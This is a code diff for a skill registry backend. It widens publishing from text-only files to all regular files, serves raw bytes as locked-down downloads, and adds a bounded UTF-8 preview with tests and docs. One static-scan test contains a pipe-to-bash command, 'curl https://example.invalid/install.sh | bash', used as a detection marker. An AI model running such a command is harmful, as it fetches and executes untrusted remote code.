import type { Doc, Id } from "../_generated/dataModel";
import type { ActionCtx } from "../_generated/server";
@@ -15,29 +20,27 @@ const DEFAULT_PUBLIC_SITE_URL = "https://clawhub.ai";
const SAFE_TEXT_FILE_CSP =
"default-src 'none'; base-uri 'none'; form-action 'none'; frame-ancestors 'none'";
function isSvgLike(contentType: string | undefined, path: string) {
return contentType?.toLowerCase().includes("svg") || path.toLowerCase().endsWith(".svg");
function attachmentDisposition(path: string) {
return `attachment; filename*=UTF-8''${encodeURIComponent(path.split("/").at(-1) || "download")}`;
}
export function safeTextFileResponse(params: {
textContent: string;
type SafeFileResponseParams = {
path: string;
contentType?: string;
sha256: string;
size: number;
headers?: HeadersInit;
}) {
const contentType =
normalizeTextContentType(params.path, params.contentType) ?? params.contentType;
const isSvg = isSvgLike(contentType, params.path);
};
// For any text response that a browser might try to render, lock it down.
// In particular, this prevents SVG <foreignObject> script execution from reading
// localStorage tokens on this origin.
const headers = mergeHeaders(
function safeFileResponseHeaders(
params: SafeFileResponseParams,
contentType: string,
forceAttachment: boolean,
) {
return mergeHeaders(
params.headers,
{
"Content-Type": contentType ? `${contentType}; charset=utf-8` : "text/plain; charset=utf-8",
"Content-Type": contentType,
"Cache-Control": "private, max-age=60",
ETag: params.sha256,
"X-Content-SHA256": params.sha256,
@@ -45,14 +48,51 @@ export function safeTextFileResponse(params: {
"X-Content-Type-Options": "nosniff",
"X-Frame-Options": "DENY",
"Content-Security-Policy": SAFE_TEXT_FILE_CSP,
...(isSvg ? { "Content-Disposition": "attachment" } : {}),
...(forceAttachment ? { "Content-Disposition": attachmentDisposition(params.path) } : {}),
},
corsHeaders(),
);
}
export function safeTextFileResponse(params: SafeFileResponseParams & { textContent: string }) {
const normalized = normalizeContentType(params.contentType);
const contentType = normalized ? `${normalized}; charset=utf-8` : "text/plain; charset=utf-8";
const headers = safeFileResponseHeaders(params, contentType, false);
return new Response(params.textContent, { status: 200, headers });
}
export async function safeStoredFileResponse(
params: SafeFileResponseParams & {
blob: Blob;
},
) {
const bytes = new Uint8Array(await params.blob.arrayBuffer());
const contentType = normalizeContentType(params.contentType) ?? "application/octet-stream";
return new Response(bytes, {
status: 200,
headers: safeFileResponseHeaders(params, contentType, true),
});
}
export async function safeStoredFilePreviewResponse(
params: SafeFileResponseParams & {
blob: Blob;
},
) {
const bytes = new Uint8Array(await params.blob.arrayBuffer());
const textContent = decodeUtf8Text(bytes);
if (textContent === null) {
return text("File cannot be previewed as text", 415, params.headers);
}
return new Response(textContent, {
status: 200,
headers: safeFileResponseHeaders(params, "text/plain; charset=utf-8", false),
});
}
export function json(value: unknown, status = 200, headers?: HeadersInit) {
return new Response(JSON.stringify(value), {
status,
convex/httpApiV1/skillsV1.ts
+27 -7
View File
@@ -11,7 +11,7 @@ import {
SkillAppealResolveRequestSchema,
SkillReportTriageRequestSchema,
SkillVersionRevokeRequestSchema,
normalizeTextContentType,
normalizeContentType,
parseArk,
type SkillAppealListStatus,
type SkillReportListStatus,
@@ -36,6 +36,7 @@ import {
type InstallResolverSource,
type SkillInstallResolution,
} from "../lib/installResolver";
import { MAX_PUBLISH_FILE_BYTES } from "../lib/publishLimits";
import type {
LlmAgenticRiskFinding,
LlmEvalDimension,
@@ -73,6 +74,8 @@ import {
requireAdminOrResponse,
requireApiTokenUserOrResponse,
resolveTagsBatch,
safeStoredFilePreviewResponse,
safeStoredFileResponse,
safeTextFileResponse,
softDeleteErrorToResponse,
text,
@@ -821,7 +824,7 @@ function sourceFilesForVerify(
path: file.path,
size: file.size,
sha256: file.sha256,
contentType: normalizeTextContentType(file.path, file.contentType) ?? null,
contentType: normalizeContentType(file.contentType) ?? null,
}));
}
@@ -2142,7 +2145,7 @@ export async function skillsGetRouterV1Handler(ctx: ActionCtx, request: Request)
path: file.path,
size: file.size,
sha256: file.sha256,
contentType: normalizeTextContentType(file.path, file.contentType) ?? null,
contentType: normalizeContentType(file.contentType) ?? null,
})),
security: security ?? undefined,
},
@@ -2481,6 +2484,7 @@ export async function skillsGetRouterV1Handler(ctx: ActionCtx, request: Request)
if (second === "file" && segments.length === 2) {
const path = url.searchParams.get("path")?.trim();
if (!path) return text("Missing path", 400, rate.headers);
const preview = url.searchParams.get("preview") === "1";
const versionParam = url.searchParams.get("version")?.trim();
const tagParam = url.searchParams.get("tag")?.trim();
@@ -2540,13 +2544,29 @@ export async function skillsGetRouterV1Handler(ctx: ActionCtx, request: Request)
version.files.find((entry) => entry.path === normalized) ??
version.files.find((entry) => entry.path.toLowerCase() === normalizedLower);
if (!file) return text("File not found", 404, rate.headers);
if (file.size > MAX_RAW_FILE_BYTES) return text("File exceeds 200KB limit", 413, rate.headers);
const maxBytes = preview ? MAX_RAW_FILE_BYTES : MAX_PUBLISH_FILE_BYTES;
if (file.size > maxBytes) {
return text(
preview ? "File exceeds 200KB preview limit" : "File exceeds 10MB limit",
413,
rate.headers,
);
}
const blob = await ctx.storage.get(file.storageId);
if (!blob) return text("File missing in storage", 410, rate.headers);
const textContent = await blob.text();
return safeTextFileResponse({
textContent,
if (preview) {
return await safeStoredFilePreviewResponse({
blob,
path: file.path,
contentType: file.contentType ?? undefined,
sha256: file.sha256,
size: file.size,
headers: rate.headers,
});
}
return await safeStoredFileResponse({
blob,
path: file.path,
contentType: file.contentType ?? undefined,
sha256: file.sha256,
convex/lib/artifactText.test.ts
+18
View File
@@ -0,0 +1,18 @@
import { describe, expect, it } from "vitest";
import { decodeBoundedUtf8Text } from "./artifactText";
describe("decodeBoundedUtf8Text", () => {
it("decodes a bounded prefix of a larger UTF-8 artifact", () => {
const bytes = new TextEncoder().encode(`dangerous-prefix\n${"a".repeat(1024)}`);
expect(decodeBoundedUtf8Text(bytes, 64)).toContain("dangerous-prefix");
});
it("accepts a prefix ending in a partial multi-byte character", () => {
const bytes = new TextEncoder().encode(`abc😀${"z".repeat(32)}`);
expect(decodeBoundedUtf8Text(bytes, 5)).toBe("abc");
});
it("rejects invalid UTF-8 within the inspected prefix", () => {
expect(decodeBoundedUtf8Text(Uint8Array.from([0, 1, 2, 255, 97]), 4)).toBeNull();
});
});
convex/lib/artifactText.ts
+13
View File
@@ -0,0 +1,13 @@
import { decodeUtf8Text } from "clawhub-schema";
export function decodeBoundedUtf8Text(bytes: Uint8Array, maxBytes: number) {
if (bytes.byteLength <= maxBytes) return decodeUtf8Text(bytes);
try {
return new TextDecoder("utf-8", { fatal: true }).decode(bytes.subarray(0, maxBytes), {
stream: true,
});
} catch {
return null;
}
}
convex/lib/githubImport.test.ts
+30 -2
View File
@@ -8,6 +8,7 @@ import {
detectGitHubImportCandidates,
extractMarkdownRelativeTargets,
fetchGitHubZipBytes,
listFilesUnderCandidate,
parseGitHubImportUrl,
resolveGitHubCommit,
resolveMarkdownTarget,
@@ -23,6 +24,32 @@ function requestInfoToUrlString(input: RequestInfo | URL): string {
}
describe("github import", () => {
it("lists every eligible file under a skill candidate", () => {
const encode = (text: string) => new TextEncoder().encode(text);
const files = listFilesUnderCandidate(
{
"skills/demo/SKILL.md": encode("# Demo\n"),
"skills/demo/main.tf": encode('resource "null_resource" "demo" {}\n'),
"skills/demo/terraform.tfvars": encode('region = "us-east-1"\n'),
"skills/demo/assets/payload.bin": Uint8Array.from([0, 1, 2, 255]),
"skills/other/SKILL.md": encode("# Other\n"),
},
"skills/demo",
);
expect(files.map((file) => file.path)).toEqual(
[
"skills/demo/SKILL.md",
"skills/demo/assets/payload.bin",
"skills/demo/main.tf",
"skills/demo/terraform.tfvars",
].sort((left, right) => left.localeCompare(right)),
);
expect(files.find((file) => file.path.endsWith("payload.bin"))?.bytes).toEqual(
Uint8Array.from([0, 1, 2, 255]),
);
});
it("parses repo root urls", () => {
expect(parseGitHubImportUrl("https://github.com/visionik/ouracli")).toEqual({
owner: "visionik",
@@ -135,7 +162,7 @@ describe("github import", () => {
expect(candidates.map((c) => c.name)).toEqual(["Alpha", "Beta"]);
});
it("computes default selection via markdown references", () => {
it("selects the complete candidate artifact by default", () => {
const entries = {
"skill/SKILL.md": `---\nname: demo\n---\nSee [usage](docs/usage.md) and ![logo](img/logo.svg).\nIgnore [web](https://example.com).`,
"skill/docs/usage.md": `See [more](more.md)`,
@@ -161,7 +188,7 @@ describe("github import", () => {
expect(selected).toContain("skill/docs/usage.md");
expect(selected).toContain("skill/docs/more.md");
expect(selected).toContain("skill/img/logo.svg");
expect(selected).not.toContain("skill/extra.txt");
expect(selected).toContain("skill/extra.txt");
});
it("does not select files outside skill folder (even when referenced)", () => {
@@ -180,6 +207,7 @@ describe("github import", () => {
const files = Object.entries(stripped).map(([path, bytes]) => ({ path, bytes }));
const selected = computeDefaultSelectedPaths({ candidate, files });
expect(selected).toContain("skill/SKILL.md");
expect(selected).toContain("skill/docs/usage.md");
expect(selected).not.toContain("outside.md");
});
convex/lib/githubImport.ts
+5 -61
View File
@@ -1,4 +1,3 @@
import { TEXT_FILE_EXTENSION_SET } from "clawhub-schema";
import { zipSync } from "fflate";
import semver from "semver";
import { parseFrontmatter } from "./skills";
@@ -279,7 +278,7 @@ function uniqCandidates(candidates: GitHubImportCandidate[]) {
return out.sort((a, b) => a.path.localeCompare(b.path));
}
export function listTextFilesUnderCandidate(
export function listFilesUnderCandidate(
entries: ZipEntryMap,
candidatePath: string,
): Array<{ path: string; bytes: Uint8Array }> {
@@ -288,7 +287,6 @@ export function listTextFilesUnderCandidate(
for (const [path, bytes] of Object.entries(entries)) {
const normalized = normalizeRepoPath(path);
if (!isUnderRoot(normalized, root)) continue;
if (!isTextPath(normalized)) continue;
out.push({ path: normalized, bytes });
}
return out.sort((a, b) => a.path.localeCompare(b.path));
@@ -297,59 +295,12 @@ export function listTextFilesUnderCandidate(
export function computeDefaultSelectedPaths(params: {
candidate: GitHubImportCandidate;
files: Array<{ path: string; bytes: Uint8Array }>;
maxDepth?: number;
maxAdds?: number;
}) {
const maxDepth = params.maxDepth ?? 4;
const maxAdds = params.maxAdds ?? 200;
const byPath = new Map(params.files.map((file) => [file.path, file.bytes]));
const candidateRoot = normalizeCandidateRoot(params.candidate.path);
const selected = new Set<string>();
let added = 0;
const add = (path: string) => {
const normalized = normalizeRepoPath(path);
if (!isUnderRoot(normalized, candidateRoot)) return;
if (!byPath.has(normalized)) return;
if (!selected.has(normalized)) {
selected.add(normalized);
added += 1;
}
};
add(params.candidate.readmePath);
const visited = new Set<string>();
const queue: Array<{ path: string; depth: number }> = [
{ path: params.candidate.readmePath, depth: 0 },
];
while (queue.length > 0) {
const item = queue.shift();
if (!item) break;
if (item.depth >= maxDepth) continue;
if (visited.has(item.path)) continue;
visited.add(item.path);
const bytes = byPath.get(item.path);
if (!bytes) continue;
if (!item.path.toLowerCase().endsWith(".md")) continue;
const text = new TextDecoder().decode(bytes);
const refs = extractMarkdownRelativeTargets(text);
for (const ref of refs) {
if (added >= maxAdds) break;
const resolved = resolveMarkdownTarget(item.path, ref);
if (!resolved) continue;
add(resolved);
if (resolved.toLowerCase().endsWith(".md") && byPath.has(resolved)) {
queue.push({ path: resolved, depth: item.depth + 1 });
}
}
if (added >= maxAdds) break;
}
return Array.from(selected).sort();
return params.files
.map((file) => normalizeRepoPath(file.path))
.filter((path) => path && isUnderRoot(path, candidateRoot))
.sort();
}
export function buildGitHubImportFileList(params: {
@@ -383,13 +334,6 @@ function isUnderRoot(path: string, rootWithSlash: string) {
return path === rootWithSlash.slice(0, -1) || path.startsWith(rootWithSlash);
}
function isTextPath(path: string) {
const lower = path.toLowerCase();
const ext = lower.split(".").at(-1) ?? "";
if (!ext) return false;
return TEXT_FILE_EXTENSION_SET.has(ext);
}
export function suggestDisplayName(candidate: GitHubImportCandidate, fallbackBase: string) {
const base = candidate.name?.trim() || fallbackBase.trim();
if (!base) return "";
convex/lib/skillPublish.test.ts
+59
View File
@@ -1064,6 +1064,65 @@ description: Security scanner smoke fixture.
]);
});
it("accepts Terraform and opaque files and hashes their exact stored bytes", async () => {
const stored = new Map([
["_storage:skill", new Blob(["# Terraform skill\n"], { type: "text/markdown" })],
[
"_storage:tf",
new Blob(['resource "null_resource" "demo" {}\n'], {
type: "application/octet-stream",
}),
],
[
"_storage:binary",
new Blob([Uint8Array.from([0, 1, 2, 255])], {
type: "application/octet-stream",
}),
],
]);
const storage = {
get: vi.fn(async (storageId: string) => stored.get(storageId) ?? null),
};
const files = await __test.derivePublishFilesFromStorage({ storage } as never, [
{
path: "SKILL.md",
size: 1,
storageId: "_storage:skill" as never,
sha256: "caller-supplied",
contentType: "text/markdown",
},
{
path: "main.tf",
size: 1,
storageId: "_storage:tf" as never,
sha256: "caller-supplied",
contentType: "application/octet-stream",
},
{
path: "assets/payload.bin",
size: 1,
storageId: "_storage:binary" as never,
sha256: "caller-supplied",
contentType: "application/octet-stream",
},
]);
expect(files).toEqual([
expect.objectContaining({ path: "SKILL.md", size: 18 }),
expect.objectContaining({
path: "main.tf",
size: 35,
sha256: "e286a58e2e9cd9eabd8dea398e791be6683e3c72183fdc06ce9748964e156961",
}),
expect.objectContaining({
path: "assets/payload.bin",
size: 4,
sha256: "3d1f57c984978ef98a18378c8166c1cb8ede02c03eeb6aee7e2f121dfeee3e56",
}),
]);
});
it("rejects oversized stored files even when caller metadata is small", async () => {
const storage = {
get: vi.fn(async () => new Blob([new Uint8Array(MAX_PUBLISH_FILE_BYTES + 1)])),
convex/lib/skillPublish.ts
+24 -21
View File
@@ -1,7 +1,8 @@
import {
decodeUtf8Text,
normalizeCatalogTopics,
normalizeContentType,
normalizeSkillCategories,
normalizeTextContentType,
resolveSkillCategories,
} from "clawhub-schema";
import { ConvexError } from "convex/values";
@@ -34,7 +35,6 @@ import {
getFrontmatterValue,
hashSkillFiles,
isMacJunkPath,
isTextFile,
parseClawdisMetadata,
parseFrontmatter,
sanitizePath,
@@ -46,6 +46,7 @@ import { runStaticPublishScan } from "./staticPublishScan";
import { getWebhookConfig, type WebhookSkillPayload } from "./webhooks";
const MAX_FILES_FOR_EMBEDDING = 40;
const MAX_ANALYZED_FILE_BYTES = 256 * 1024;
const QUALITY_WINDOW_MS = 24 * 60 * 60 * 1000;
const QUALITY_ACTIVITY_LIMIT = 60;
const PLATFORM_SKILL_LICENSE = "MIT-0" as const;
@@ -253,7 +254,7 @@ async function publishVersionForUserInternal(
const sanitizedFiles = args.files.map((file) => ({
...file,
path: sanitizePath(file.path),
contentType: normalizeTextContentType(file.path, file.contentType),
contentType: normalizeContentType(file.contentType),
}));
if (sanitizedFiles.some((file) => !file.path)) {
throw new ConvexError("Invalid file paths");
@@ -366,8 +367,8 @@ async function publishVersionForUserInternal(
];
for (const file of publishFiles) {
if (!file.path || file.storageId === readmeFile.storageId) continue;
if (!isTextFile(file.path, file.contentType ?? undefined)) continue;
const content = await fetchText(ctx, file.storageId);
const content = await fetchPreviewText(ctx, file.storageId);
if (content === null) continue;
fileContents.push({ path: file.path, content });
}
@@ -713,13 +714,9 @@ async function prepareSkillInsertArgsForFinalization(
const otherFiles: Array<{ path: string; content: string }> = [];
for (const file of files) {
if (file === readmeFile || typeof file.path !== "string") continue;
if (
!isTextFile(file.path, typeof file.contentType === "string" ? file.contentType : undefined)
) {
continue;
}
if (!file.storageId || typeof file.storageId !== "string") continue;
const content = await fetchText(ctx, file.storageId as Id<"_storage">);
const content = await fetchPreviewText(ctx, file.storageId as Id<"_storage">);
if (content === null) continue;
otherFiles.push({ path: file.path, content });
if (otherFiles.length >= MAX_FILES_FOR_EMBEDDING) break;
}
@@ -957,7 +954,20 @@ export async function fetchText(
) {
const blob = await ctx.storage.get(storageId);
if (!blob) throw new Error("File missing in storage");
return blob.text();
const text = decodeUtf8Text(new Uint8Array(await blob.arrayBuffer()));
if (text === null) throw new Error("File is not valid UTF-8 text");
return text;
}
async function fetchPreviewText(
ctx: { storage: { get: (id: Id<"_storage">) => Promise<Blob | null> } },
storageId: Id<"_storage">,
) {
const blob = await ctx.storage.get(storageId);
if (!blob) throw new Error("File missing in storage");
if (blob.size > MAX_ANALYZED_FILE_BYTES) return null;
const bytes = new Uint8Array(await blob.arrayBuffer());
return decodeUtf8Text(bytes);
}
async function loadPublishFileBlobs(
@@ -968,8 +978,8 @@ async function loadPublishFileBlobs(
for (const file of files) {
const blob = await ctx.storage.get(file.storageId);
if (!blob) throw new ConvexError("File missing in storage");
const storedContentType = blob.type || file.contentType;
const contentType = normalizeTextContentType(file.path, storedContentType) ?? storedContentType;
const storedContentType = blob.type || file.contentType || "application/octet-stream";
const contentType = normalizeContentType(storedContentType);
filesWithBlobs.push({
blob,
file: {
@@ -988,13 +998,6 @@ async function derivePublishFilesFromStorage(
) {
const publishFileBlobs = await loadPublishFileBlobs(ctx, files);
const publishFilesWithStorageMetadata = publishFileBlobs.map(({ file }) => file);
if (
publishFilesWithStorageMetadata.some(
(file) => !isTextFile(file.path, file.contentType ?? undefined),
)
) {
throw new ConvexError("Only text-based files are allowed");
}
const oversizedFile = findOversizedPublishFile(publishFilesWithStorageMetadata);
if (oversizedFile) {
convex/lib/skills.test.ts
-9
View File
@@ -5,7 +5,6 @@ import {
getFrontmatterValue,
hashSkillFiles,
isMacJunkPath,
isTextFile,
parseClawdisMetadata,
parseFrontmatter,
sanitizePath,
@@ -145,14 +144,6 @@ describe("skills utils", () => {
expect(sanitizePath("")).toBeNull();
});
it("detects text files", () => {
expect(isTextFile("SKILL.md")).toBe(true);
expect(isTextFile("image.png")).toBe(false);
expect(isTextFile("note.txt", "text/plain")).toBe(true);
expect(isTextFile("data.any", "application/json")).toBe(true);
expect(isTextFile("data.json")).toBe(true);
});
it("detects mac junk paths", () => {
expect(isMacJunkPath(".DS_Store")).toBe(true);
expect(isMacJunkPath("folder/.DS_Store")).toBe(true);
convex/lib/skills/index.ts
-14
View File
@@ -2,11 +2,9 @@ import {
type ClawdbotConfigSpec,
type ClawdisSkillMetadata,
ClawdisSkillMetadataSchema,
isTextContentType,
type NixPluginSpec,
parseArk,
type SkillInstallSpec,
TEXT_FILE_EXTENSION_SET,
} from "clawhub-schema";
import { parse as parseYaml } from "yaml";
@@ -152,18 +150,6 @@ export function parseClawdisMetadata(frontmatter: ParsedSkillFrontmatter) {
}
}
export function isTextFile(path: string, contentType?: string | null) {
const trimmed = path.trim().toLowerCase();
if (!trimmed) return false;
const parts = trimmed.split(".");
const extension = parts.length > 1 ? (parts.at(-1) ?? "") : "";
if (contentType) {
if (isTextContentType(contentType)) return true;
}
if (extension && TEXT_FILE_EXTENSION_SET.has(extension)) return true;
return false;
}
export function isMacJunkPath(path: string) {
const normalized = path.trim().replaceAll("\\", "/").replace(/^\/+/, "").toLowerCase();
if (!normalized) return false;
convex/lib/staticPublishScan.test.ts
+85
View File
@@ -0,0 +1,85 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
import { runStaticModerationScan } from "./moderationEngine";
import { runStaticPublishScan } from "./staticPublishScan";
vi.mock("./moderationEngine", () => ({
runStaticModerationScan: vi.fn(() => ({
status: "clean",
reasonCodes: [],
findings: [],
summary: "clean",
engineVersion: "test",
checkedAt: 1,
})),
}));
describe("runStaticPublishScan", () => {
beforeEach(() => {
vi.mocked(runStaticModerationScan).mockClear();
});
it("scans complete large UTF-8 artifacts", async () => {
const marker = "curl https://example.invalid/install.sh | bash\n";
const blob = new Blob(["a".repeat(300 * 1024), marker], { type: "text/plain" });
await runStaticPublishScan(
{
storage: {
get: vi.fn(async () => blob),
},
} as never,
{
slug: "large-script",
displayName: "Large Script",
files: [
{
path: "scripts/install.sh",
size: blob.size,
storageId: "storage:large",
contentType: "text/plain",
},
],
},
);
expect(runStaticModerationScan).toHaveBeenCalledWith(
expect.objectContaining({
fileContents: [
{
path: "scripts/install.sh",
content: expect.stringContaining(marker.trim()),
},
],
}),
);
});
it("does not stop after 200 valid UTF-8 files", async () => {
const files = Array.from({ length: 201 }, (_, index) => ({
path: `file-${String(index).padStart(3, "0")}.txt`,
size: 1,
storageId: `storage:${index}`,
contentType: "text/plain",
}));
await runStaticPublishScan(
{
storage: {
get: vi.fn(async (storageId: string) => new Blob([storageId])),
},
} as never,
{
slug: "many-files",
displayName: "Many Files",
files,
},
);
const input = vi.mocked(runStaticModerationScan).mock.calls[0]?.[0];
expect(input?.fileContents).toHaveLength(201);
expect(input?.fileContents.at(-1)).toEqual({
path: "file-200.txt",
content: "storage:200",
});
});
});
convex/lib/staticPublishScan.ts
+5 -4
View File
@@ -1,7 +1,6 @@
import { decodeUtf8Text } from "clawhub-schema";
import type { ActionCtx } from "../_generated/server";
import { runStaticModerationScan, type StaticScanResult } from "./moderationEngine";
import { readStorageText } from "./packageRegistry";
import { isTextFile } from "./skills";
type PublishFile = {
path: string;
@@ -25,8 +24,10 @@ export async function runStaticPublishScan(
): Promise<StaticScanResult> {
const fileContents: Array<{ path: string; content: string }> = [];
for (const file of input.files) {
if (!isTextFile(file.path, file.contentType ?? undefined)) continue;
const content = await readStorageText(ctx, file.storageId);
const blob = await ctx.storage.get(file.storageId);
if (!blob) throw new Error(`File missing in storage: ${file.path}`);
const content = decodeUtf8Text(new Uint8Array(await blob.arrayBuffer()));
if (content === null) continue;
fileContents.push({ path: file.path, content });
}
convex/skills.public.test.ts
+2 -2
View File
@@ -859,7 +859,7 @@ describe("skills.getBySlug", () => {
expect(result?.skill?.canonicalSkillId).toBe("skills:canonical");
});
it("normalizes misleading file MIME types in public version metadata", async () => {
it("preserves supplied file MIME types in public version metadata", async () => {
const ctx = makeCtx({
skill: {
_id: "skills:1",
@@ -920,7 +920,7 @@ describe("skills.getBySlug", () => {
expect(result?.latestVersion?.files).toEqual([
expect.objectContaining({
path: "src/index.ts",
contentType: "application/typescript",
contentType: "video/mp2t",
}),
]);
});
convex/skills.ts
+44 -3
View File
@@ -1,11 +1,12 @@
import { getAuthUserId } from "@convex-dev/auth/server";
import {
decodeUtf8Text,
getCatalogTopicSlugs,
INTERNAL_UNCATEGORIZED_CATEGORY,
isSkillCategorySlug,
normalizeCatalogTopic,
normalizeCatalogTopics,
normalizeTextContentType,
normalizeContentType,
resolveSkillCategories,
resolveStoredSkillCategories,
type SkillCategorySlug,
@@ -184,6 +185,12 @@ type FileTextResult = {
size: number;
sha256: string;
};
type FilePreviewResult = {
path: string;
text: string | null;
size: number;
sha256: string;
};
const PLATFORM_SKILL_LICENSE = "MIT-0" as const;
const MAX_DIFF_FILE_BYTES = 200 * 1024;
@@ -2239,7 +2246,7 @@ function toPublicSkillVersion(
path: file.path,
size: file.size,
sha256: file.sha256,
contentType: normalizeTextContentType(file.path, file.contentType),
contentType: normalizeContentType(file.contentType),
})),
parsed: version.parsed
? {
@@ -2309,7 +2316,7 @@ function toPublicSkillCardFile(file: Doc<"skillVersions">["files"][number]) {
path: file.path,
size: file.size,
sha256: file.sha256,
contentType: normalizeTextContentType(file.path, file.contentType),
contentType: normalizeContentType(file.contentType),
};
}
@@ -10174,6 +10181,40 @@ export const getFileText: ReturnType<typeof action> = action({
},
});
export const getFilePreview: ReturnType<typeof action> = action({
args: { versionId: v.id("skillVersions"), path: v.string() },
handler: async (ctx, args): Promise<FilePreviewResult> => {
const version = (await ctx.runQuery(internal.skills.getVersionByIdInternal, {
versionId: args.versionId,
})) as Doc<"skillVersions"> | null;
if (!version) throw new ConvexError("Version not found");
if (!(await canReadSkillVersionFiles(ctx, version))) {
throw new ConvexError("Version not available");
}
const normalizedPath = args.path.trim();
const normalizedLower = normalizedPath.toLowerCase();
const file =
version.files.find((entry) => entry.path === normalizedPath) ??
version.files.find((entry) => entry.path.toLowerCase() === normalizedLower);
if (!file) throw new ConvexError("File not found");
if (file.size > MAX_DIFF_FILE_BYTES) {
return {
path: file.path,
text: null,
size: file.size,
sha256: file.sha256,
};
}
const blob = await ctx.storage.get(file.storageId);
if (!blob) throw new ConvexError("File missing in storage");
const text = decodeUtf8Text(new Uint8Array(await blob.arrayBuffer()));
return { path: file.path, text, size: file.size, sha256: file.sha256 };
},
});
export const resolveVersionByHash = query({
args: { slug: v.string(), hash: v.string(), ownerHandle: v.optional(v.string()) },
handler: async (ctx, args) => {
convex/versionFileAccess.test.ts
+95
View File
@@ -13,10 +13,12 @@ vi.mock("./lib/skillPublish", () => ({
const { getAuthUserId } = await import("@convex-dev/auth/server");
const {
getReadme: getSkillReadme,
getFilePreview: getSkillFilePreview,
getFileText: getSkillFileText,
getGitHubSkillContent,
} = await import("./skills");
const getSkillReadmeHandler = getSkillReadme as unknown as { _handler: Function };
const getSkillFilePreviewHandler = getSkillFilePreview as unknown as { _handler: Function };
const getSkillFileTextHandler = getSkillFileText as unknown as { _handler: Function };
const getGitHubSkillContentHandler = getGitHubSkillContent as unknown as { _handler: Function };
@@ -45,6 +47,7 @@ function makeActionCtx(args: {
actor?: Record<string, unknown> | null;
publisherMemberRole?: "owner" | "admin" | "publisher" | null;
publisherAccess?: boolean;
storedBlob?: Blob | null;
}) {
return {
runQuery: vi.fn(async (_endpoint: unknown, payload: Record<string, unknown>) => {
@@ -63,6 +66,9 @@ function makeActionCtx(args: {
}
throw new Error("Unexpected endpoint");
}),
storage: {
get: vi.fn().mockResolvedValue(args.storedBlob ?? new Blob(["# skill"])),
},
} as never;
}
@@ -297,6 +303,95 @@ describe("version file access actions", () => {
).resolves.toMatchObject({ path: "SKILL.md", text: "# skill" });
});
it("returns opaque files as download-only previews with exact metadata", async () => {
const version = {
...makeSkillVersion(),
files: [
{
path: "assets/payload.bin",
size: 4,
storageId: "_storage:opaque",
sha256: "d".repeat(64),
contentType: "application/octet-stream",
},
],
};
const ctx = makeActionCtx({
version,
storedBlob: new Blob([Uint8Array.from([0, 1, 2, 255])], {
type: "application/octet-stream",
}),
skill: {
_id: "skills:1",
ownerUserId: "users:owner",
stats: {},
softDeletedAt: undefined,
moderationStatus: "active",
moderationFlags: [],
},
});
await expect(
getSkillFilePreviewHandler._handler(ctx, {
versionId: "skillVersions:1",
path: "assets/payload.bin",
} as never),
).resolves.toEqual({
path: "assets/payload.bin",
text: null,
size: 4,
sha256: "d".repeat(64),
});
});
it.each([
["report.pdf", "application/pdf"],
["page.html", "text/html"],
["diagram.svg", "image/svg+xml"],
["config.xml", "application/xml"],
])(
"previews valid UTF-8 document %s as escaped text regardless of extension",
async (path, contentType) => {
const text = "<root>valid UTF-8</root>";
const version = {
...makeSkillVersion(),
files: [
{
path,
size: text.length,
storageId: "_storage:rich",
sha256: "e".repeat(64),
contentType,
},
],
};
const ctx = makeActionCtx({
version,
storedBlob: new Blob([text], { type: contentType }),
skill: {
_id: "skills:1",
ownerUserId: "users:owner",
stats: {},
softDeletedAt: undefined,
moderationStatus: "active",
moderationFlags: [],
},
});
await expect(
getSkillFilePreviewHandler._handler(ctx, {
versionId: "skillVersions:1",
path,
} as never),
).resolves.toEqual({
path,
text,
size: text.length,
sha256: "e".repeat(64),
});
},
);
it("blocks unauthenticated file reads from hidden skill versions", async () => {
const ctx = makeActionCtx({
version: makeSkillVersion(),
docs/cli.md
+3 -3
View File
@@ -125,8 +125,8 @@ Stores your API token + cached registry URL.
- `--versions`: list version history (first page).
- `--limit <n>`: max versions to list (1-200).
- `--files`: list files for the selected version.
- `--file <path>`: fetch raw file content (text files only; 200KB limit).
- `--json`: machine-readable output.
- `--file <path>`: fetch raw file bytes (10MB limit).
- `--json`: machine-readable output; `--file` includes exact bytes as base64 and UTF-8 text when available.
### `install @owner/slug`
@@ -407,7 +407,7 @@ clawhub package explore episodic-claw --family code-plugin
- `--versions`: list version history (first page).
- `--limit <n>`: max versions to list (1-100).
- `--files`: list files for the selected version.
- `--file <path>`: fetch raw file content (text files only; 200KB limit).
- `--file <path>`: fetch a bounded UTF-8 text preview (200KB limit).
- `--json`: machine-readable output.
### `package download <name>`
docs/http-api.md
+11 -5
View File
@@ -520,18 +520,22 @@ Response:
### `GET /api/v1/skills/{slug}/file`
Returns raw text content.
Returns exact stored file bytes as a download. Add `preview=1` to request a bounded escaped-text
preview; any file with valid UTF-8 bytes can be previewed, regardless of its extension or MIME
metadata.
Query params:
- `path` (required)
- `version` (optional)
- `tag` (optional)
- `preview=1` (optional; returns `text/plain` or `415` when the bytes are not valid UTF-8)
Notes:
- Defaults to latest version.
- File size limit: 200KB.
- Raw download limit: 10MB.
- Text preview limit: 200KB.
### `GET /api/v1/packages`
@@ -1197,20 +1201,22 @@ Every change writes an audit log entry.
### `GET /api/v1/packages/{name}/file`
Returns raw text content for a package file.
Returns exact stored package file bytes as a download. Add `preview=1` to request the same bounded
UTF-8 text preview used for skill files.
Query params:
- `path` (required)
- `version` (optional)
- `tag` (optional)
- `preview=1` (optional; returns `text/plain` or `415` when the bytes are not valid UTF-8)
Notes:
- Defaults to the latest release.
- Uses the read rate bucket, not the download bucket.
- Binary files return `415`.
- File size limit: 200KB.
- Raw download limit: 10MB.
- Text preview limit: 200KB; opaque files return `415` only for preview requests.
- Pending VirusTotal scans do not block reads; malicious releases may still be withheld elsewhere.
- Private packages return `404` unless the caller can read the owning publisher.
docs/skill-format.md
+11 -8
View File
@@ -1,5 +1,5 @@
---
summary: "Skill folder format, required files, allowed file types, limits."
summary: "Skill folder format, required files, supporting artifacts, limits."
read_when:
- Publishing skills
- Debugging publish failures
@@ -17,7 +17,7 @@ Required:
Optional:
- any supporting _text-based_ files (see “Allowed files”)
- any supporting regular files (see “Skill files”)
- `.clawhubignore` (ignore patterns for publishing, legacy `.clawdhubignore`)
- `.gitignore` (also honored)
@@ -168,18 +168,21 @@ metadata:
---
```
## Allowed files
## Skill files
Only “text-based” files are accepted by publish.
Publish accepts all regular files in the skill folder, regardless of extension. Ignore files,
hidden paths, symlinks, macOS metadata, and server-side size limits still apply.
- Extension allowlist is in `packages/schema/src/textFiles.ts` (`TEXT_FILE_EXTENSIONS`).
